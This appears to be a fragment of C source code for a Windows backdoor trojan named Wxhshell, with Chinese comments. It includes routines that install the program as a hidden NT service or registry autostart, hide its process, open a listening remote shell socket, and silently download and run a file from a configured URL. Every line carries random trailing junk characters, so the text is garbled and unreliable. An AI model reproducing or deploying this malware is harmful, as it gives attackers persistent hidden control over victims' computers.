DWORD BasePriority; u&9 r2R959
ULONG UniqueProcessId; K"0PTWt
ULONG InheritedFromUniqueProcessId; v$7EvFS
} PROCESS_BASIC_INFORMATION; \igmv]G%
rS?pWTg"8
PROCNTQSIP NtQueryInformationProcess; Qhw^S*
}4{fQ`HT
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0q*r
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; z9p05NFH
h[?O+Z^
HANDLE hProcess; |0\0a&tkPl
PROCESS_BASIC_INFORMATION pbi; >(<ytn t=
!j\" w p
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); UTSL
if(NULL == hInst ) return 0; ^<:sdv>Y5
d~?X/sJ t
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +E; 2d-x*p
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); cwuO[^S}
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (__yh^h:m
#CnHf
if (!NtQueryInformationProcess) return 0; shH~4<15
&tZG
@
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); NziZTU}
if(!hProcess) return 0; -\y-qHgb/
Lj"A4i_
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; R.s^o]vT
e|rg;`AW
CloseHandle(hProcess); F*Z=<]<+
"iM~Hy
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); t'~/$=9}
if(hProcess==NULL) return 0; P1U*g!
HJC(\\~
HMODULE hMod; 4#(ZNP
char procName[255]; ]u-02g
unsigned long cbNeeded; pCu!l#J
6ATtW+sN ]
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #-Z8Z
i"44
ycJg%]F*5
CloseHandle(hProcess); Y2R \]FrT
Fa epDjY8
if(strstr(procName,"services")) return 1; // 以服务启动 IhiGP
{
#Ch;0UvFF
return 0; // 注册表启动 ow/57P
} CN2_bz
o]LRzI
// 主模块 "{E qhR~
int StartWxhshell(LPSTR lpCmdLine) Pz_NDI
{ 3SBZ>
SOCKET wsl; ;XC@=RpX
BOOL val=TRUE; 46h@j>/K
int port=0; MqKye8h9f
struct sockaddr_in door; qUo-Dq>
kL S(w??T
if(wscfg.ws_autoins) Install(); .5Q:Xp
nW+YOX|+
port=atoi(lpCmdLine); l+y}4k=/
jko"MfJ
if(port<=0) port=wscfg.ws_port; X8<2L2:
lM#A3/=K
WSADATA data; me\cLFw
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; pl V7+?G
N8!TZ~1$
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; *o' 4,+=am
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); R:aYL~
door.sin_family = AF_INET; 5]jIg<j
door.sin_addr.s_addr = inet_addr("127.0.0.1"); {BO|u{C
door.sin_port = htons(port); \h3e-)
(_9|w|(
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Sd:.KRTu.
closesocket(wsl); {6x PdUhw
return 1; s6=YV0w(
} hN(L@0)
b0a}ME&1
if(listen(wsl,2) == INVALID_SOCKET) { C%ytkzG_
closesocket(wsl); hkW{88
return 1; ^p_u.P
} 9DEh*%q
Wxhshell(wsl); 2W3W/> 2h
WSACleanup(); ?An,-N-ezf
daOS8_py
return 0; k_3j
'
CtT~0Y|
} MB*u-N0v
kb|eQtH
// 以NT服务方式启动 " OGdE_E
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) d.pp3D9/
{ A/Khk2-:
DWORD status = 0; =w<VT%
DWORD specificError = 0xfffffff; *?8RXer
abZdGnc
serviceStatus.dwServiceType = SERVICE_WIN32; w3#`1T`N
serviceStatus.dwCurrentState = SERVICE_START_PENDING; U1Yo7nVf
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 'XTs
-=
serviceStatus.dwWin32ExitCode = 0; 93I'cWN
serviceStatus.dwServiceSpecificExitCode = 0; EDN(eh(_
serviceStatus.dwCheckPoint = 0; lA{(8sKN
serviceStatus.dwWaitHint = 0; Igjr~@#
@\~tHJ?hQd
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); C6)R#
if (hServiceStatusHandle==0) return; ~JE|f 7
+a]j[#
status = GetLastError(); GEtbs+ [
if (status!=NO_ERROR) k
]bPI$
{ 6_U|(f
serviceStatus.dwCurrentState = SERVICE_STOPPED; >tEK+Y|N}
serviceStatus.dwCheckPoint = 0; 4p x_ZD#J
serviceStatus.dwWaitHint = 0; u&SZlkf6%
serviceStatus.dwWin32ExitCode = status; Yzd2G,kZ=
serviceStatus.dwServiceSpecificExitCode = specificError; =yh3Nd:u
SetServiceStatus(hServiceStatusHandle, &serviceStatus); wA r~<
return; cno;>[$
} -,/3"}<^78
&Y=.D:z<
serviceStatus.dwCurrentState = SERVICE_RUNNING; eKJ:?Lxv;
serviceStatus.dwCheckPoint = 0; !a4cjc(
serviceStatus.dwWaitHint = 0; 3"vRK5Bf
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2C{/`N
} _-6e0sr Z
V{FE [v_
// 处理NT服务事件,比如:启动、停止 g 9|qbKQ:[
VOID WINAPI NTServiceHandler(DWORD fdwControl) SJOmeN}4)
{ 4
iKR{P6
switch(fdwControl) qM*S*,s
{ O8$~*NFJf
case SERVICE_CONTROL_STOP: a6qwL4
serviceStatus.dwWin32ExitCode = 0; vQy$[D*
serviceStatus.dwCurrentState = SERVICE_STOPPED; u/#&0_
P
serviceStatus.dwCheckPoint = 0; Lb^(E-
serviceStatus.dwWaitHint = 0; >"bnpYSe
{ a!?.F_T9A
SetServiceStatus(hServiceStatusHandle, &serviceStatus); o|+E+l9\
} -$OD }5ku#
return; ,b:n1
case SERVICE_CONTROL_PAUSE: &q"'_4
serviceStatus.dwCurrentState = SERVICE_PAUSED; xHm/^C&px
break; 2q/nAQ+
case SERVICE_CONTROL_CONTINUE: e/ WBgiLw
serviceStatus.dwCurrentState = SERVICE_RUNNING; u\:rY)V
break; Tt`L(oF
case SERVICE_CONTROL_INTERROGATE: ^g-Fg>&M
break; U%h7h`=F?
}; K q/~T7Ru
SetServiceStatus(hServiceStatusHandle, &serviceStatus); WBy[m ?d
} g>UBZA4
XynU/Go,
// 标准应用程序主函数 v3?kFd7%H~
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) " \`BPN
{ HgYc@P*b
4 |FRg
// 获取操作系统版本 ^v
]UcnB0
OsIsNt=GetOsVer(); c]e`m6
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4}+xeGA$
Akv(} !g
// 从命令行安装 B%TXw#|
if(strpbrk(lpCmdLine,"iI")) Install();
.V8/ELr]
7t ZW^dF
// 下载执行文件 (W7;}g ysh
if(wscfg.ws_downexe) { A*rZQh
b[
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) IO^:FnJJv
WinExec(wscfg.ws_filenam,SW_HIDE); hyJ
ded&D
} u)tHOV>&
T"n>h
if(!OsIsNt) { oG+K '(BB
// 如果时win9x,隐藏进程并且设置为注册表启动 /&*m1EN#o
HideProc(); kw6cFz
StartWxhshell(lpCmdLine); olYPlHF
} "kcpA#uD|
else `l+ >iM
if(StartFromService()) f<g>dQlE
// 以服务方式启动 "}0)YRz%
StartServiceCtrlDispatcher(DispatchTable); Y8D7<V~Md
else n33JTqX
// 普通方式启动 fndK/~?]H
StartWxhshell(lpCmdLine); 3DxZ#/!
K?5B>dv@A
return 0; `%FIgE^
}